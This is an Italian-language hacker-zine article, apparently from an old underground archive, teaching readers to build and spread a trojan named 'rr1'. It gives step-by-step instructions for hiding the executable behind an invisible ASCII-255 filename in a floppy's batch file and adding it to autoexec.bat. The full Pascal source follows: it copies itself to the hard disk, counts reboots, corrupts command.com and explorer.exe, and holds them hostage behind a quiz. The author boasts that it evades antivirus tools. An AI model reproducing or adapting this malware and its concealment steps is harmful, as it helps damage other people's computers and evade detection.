Primi passi sulla costruzione di un Virus ( by RaggedRobin )
Questa parte della rivista e' dedicata a chi vuole sapere qualcosa di piu' sul mondo dei virus. Per chi di virus ne sa poco bisogna precisare che ne esistono di tre famiglie principali: quelli che infettano il settore di boot, quelli che
si insediano in memoria e in fine i cavalli di troia. In questo articolo vi parlero' di quest'ultimi. I cavalli di troia sono programmi che una volta lanciati danneggiano in qualche modo il computer, spesso formattano l'hard disk o cancellano files alla rinfusa. Per creare un cavallo di troia non è necessario essere dei programmatori
eccezionali e se si ha un po' di fantasia non e' necessario conoscere l'assembler. Il virus rr1 e' nella fattispecie un trojan horse scritto in pascal, un linguaggio facile e che spesso viene insegnato a scuola; rr1 e' un t.h. ma
a differenza di molti altri non agisce subito ma aspetta che si riavvii il computer 5 volte. Il modo col quale renderlo operativo e' semplice: per prima cosa e' necessario modificare un file bat in un disketto (magari quello che installa un gioco), dal PROMPT DI DOS bisogna scrivere : EDIT seguito da uno spazio e dal nome del file bat, andare a capo, tenere premuto il tasto alt e scrivere dal tastierino numerico 255 quindi rilasciare alt, in questo modo avete inserito nel file bat il carattere ascii 255 che è invisibile. Quando compilate rr1 dovete rinominare, sempre da dos, il file con il carattere 255 dovete cioe' scrivere ren rr1.exe (premete alt scrivete 255 da tastierino e lasciate alt).exe, cambiate gli attributi del file nascondendolo (con il comando dos "attrib +h nomefile" o con win, come preferite) e copiatelo in a. Una volta che verra' lanciato il file bat che avete modificato il virus verra' copiato in c:\windows, alla fine dell'autoexec.bat verrà aggiunto il carattere 255 in modo che ogni volta che si avvia il computer il file venga
caricato in memoria e il contatore che si chiama group.txt e che si trova in c:\windows venga incrementato di uno.
Quando il contatore arriva a cinque il primo carattere del command.com e dell'explorer.exe vengono incrementati di due, vengono quindi fatte tre domande e se si risponde bene vengono rimessi a posto i files. A causa delle sue caratteristiche questo virus viene difficilmente scovato da programmi anti-vir. Semplice vero? Nel prossimo articolo vi faro' vedere come si puo' complicare la vita agli utenti di win95.
program rr1;
uses DOS,CRT;
type conta=file of integer;
type autoexec=file of char;
var i,copy,risp2,invio:char;
auto,zone,gruppo,command,explorer:autoexec;
volte:conta;
harddisk:string[16];
dischetto:string[5];
j,contatore:integer;
risp:string[10];
procedure fallito;
begin
write('SPIACENTE AMICO QUESTA VOLTA TI E'' ANDATA MALE !!!');
DELAY(2000);
HALT;
END;
begin
invio:=chr(13);
j:=0;
i:=chr(255); {il carattere ASCII 255 e' invisibile}
assign(auto,'c:\autoexec.bat');
reset (auto);
assign(volte,'c:\windows\group.txt');
repeat
read(auto,copy);
if copy=i then j:=1;
until (eof(auto)) or (j=1); {guardo se autoexec.bat e' infetto}
if j<> 1 then begin {se non lo e'}
seek(auto,filesize(auto)); {aggiungo un invio}
write(auto,invio); {e il carattere 255}
invio:=char(10);
write(auto,invio);
write (auto,i); {nell' autoexec.bat}
close (auto);
harddisk:='c:\windows\.exe'; {copio il virus su hd}
dischetto:='.exe';
insert(i,harddisk,12);
insert(i,dischetto,1);
assign(zone,dischetto);
assign(gruppo,harddisk);
reset(zone);
rewrite(gruppo);
repeat
read(zone,copy);
write(gruppo,copy);
until eof(zone);
close (zone);
close(gruppo);
rewrite(volte); {creo il contatore}
write(volte,j);
close(volte);
SetFAttr(gruppo,Hidden); {nascondo il virus}
end;
reset (volte);
read(volte,contatore);
reset(volte);
contatore:=contatore+1;
write(volte,contatore);
close(volte);
reset(volte);
read(volte,contatore);
if contatore=4 then begin {contatore=4=crack}
assign(command,'c:\command.com');
assign(explorer,'c:\windows\explorer.exe');
reset(command);
reset(explorer);
read(explorer,copy);
copy:=char(ord(copy)+2); {aggiungo 2 al primo }
reset(explorer);
write(explorer,copy); {carattere di }
read(command,copy); {command.com ed }
copy:=char(ord(copy)+2); {explorer.exe }
reset (command);
write (command,copy);
close (command);
close (explorer);
{QUESTO QUA' SOTTO E' L'AVVISO}
CLRSCR;
WRITELN(' SPIACENTE AMICO, TI SEI BECCATO UN VIRUS.');
WRITELN(' FOSSI IN TE NON SPEGNEREI IL COMPUTER.');
GOTOXY(1,5);
WRITELN('SE RISPONDI ALLE MIE DOMANDE CANCELLERO'' IL VIRUS');
WRITELN('SE NON LO FARAI...PEGGIO PER TE');
WRITE('PREMI UN TASTO PER INCOMINCIARE E RICORDATI CHE NON PUOI ');
WRITELN('SBAGLIARE');
DELAY(2500); {ritarda qualche secondo }
READKEY; {per evitare che uno prema}
CLRSCR; {un tasto per sbaglio }
{QUESTO INVECE E' L'HACK QUIZ}
REPEAT
WRITELN('Qual'' e' il nome di Mitnick?');
READLN(RISP);
WRITELN('NE SEI PROPRIO SICURO?(S/N)');
READLN(RISP2);
UNTIL (RISP2='S') OR (RISP2='s');
IF (RISP='Kevin') OR (risp='KEVIN') OR (RISP='kevin')
THEN BEGIN WRITELN('PRIMA RISPOSTA GIUSTA!');
CLRSCR;
DELAY(1500);
END
ELSE FALLITO;
WRITELN('');
REPEAT
WRITELN('Qual'' e' il sistema operativo piu' usato nelle reti?');
READLN(RISP);
WRITELN('NE SEI PROPRIO SICURO?(S/N)');
READLN(RISP2);
UNTIL (RISP2='S') OR (RISP2='s');
IF (RISP='Unix') OR (risp='UNIX') OR (RISP='unix')
THEN BEGIN WRITELN('HAI AZZECCATO ANCHE LA SECONDA, COMPLIMENTI.');
CLRSCR;
DELAY(1500);
END
ELSE FALLITO;
WRITELN('');
REPEAT
WRITELN('IL SISTEMA OPERATIVO DA LA PRECEDENZA AI COM O AGLI EXE?');
READLN(RISP);
WRITELN('NE SEI PROPRIO SICURO?(S/N)');
READLN(RISP2);
UNTIL (RISP2='S') OR (RISP2='s');
IF (RISP='COM') OR (risp='Com') OR (RISP='com')
THEN BEGIN WRITELN('E ANCHE LA TERZA E'' GIUSTA, ORA TOGLIERO'' IL VIRUS');
CLRSCR;
DELAY(1500);
END
ELSE FALLITO;
{CON QUESTO METTO TUTTO A POSTO}
reset(command);
reset(explorer);
read(explorer,copy);
copy:=char(ord(copy)-2); {tolgo 2 al primo }
reset(explorer); {carattere di }
write(explorer,copy); {command.com ed }
read(command,copy); {explorer.exe }
copy:=char(ord(copy)-2);
reset (command);
write (command,copy);
close (command);
close (explorer);
end;
end.
https://www.s0ftpj.org/archive/systemdown/index.htm